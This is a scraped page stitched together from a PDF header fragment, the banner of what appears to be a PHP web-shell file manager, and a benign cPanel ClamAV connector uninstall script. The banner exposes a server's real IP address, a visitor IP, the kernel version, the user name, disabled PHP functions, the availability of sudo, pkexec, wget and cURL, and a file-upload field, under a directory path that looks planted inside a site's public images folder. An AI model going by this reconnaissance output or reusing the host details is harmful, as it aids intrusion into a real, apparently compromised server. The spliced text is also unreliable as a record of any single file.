%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.217.172 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/ |
Upload File : |
#!/bin/sh
set -e
## <asset scriplets/postun>
set -e
if [ -z $RHEL ]; then RHEL=0; fi;
post_uninstall() {
# For uninstall, not upgrade
# does not need to be in chkservd anymore #
rm -f /var/run/chkservd/clamd
sed -i '/^clamd:/d' /etc/chkserv.d/chkservd.conf
# cleanup directory #
rm -f /var/clamd
rm -f /var/run/chkservd.services_suspend/clamd
/usr/bin/systemctl daemon-reload
# unregister the plugin in WHM
/usr/local/cpanel/bin/unregister_appconfig /var/cpanel/apps/clamavconnector.conf ||:
/usr/local/cpanel/scripts/restartsrv_chkservd --no-verbose ||:
if [ -e '/usr/sbin/exim' -a ! -e '/etc/eximdisable' ]; then
/usr/local/cpanel/scripts/buildeximconf
/usr/local/cpanel/scripts/restartsrv_exim --no-verbose
fi
}
post_upgrade() {
# For upgrade
# Disable clamav monitor setting that was added in post
/usr/local/cpanel/scripts/restartsrv_tailwatchd --no-verbose ||:
}
## </asset>
case "$1" in
upgrade)
post_upgrade;
;;
remove)
post_uninstall;
;;
esac
exit 0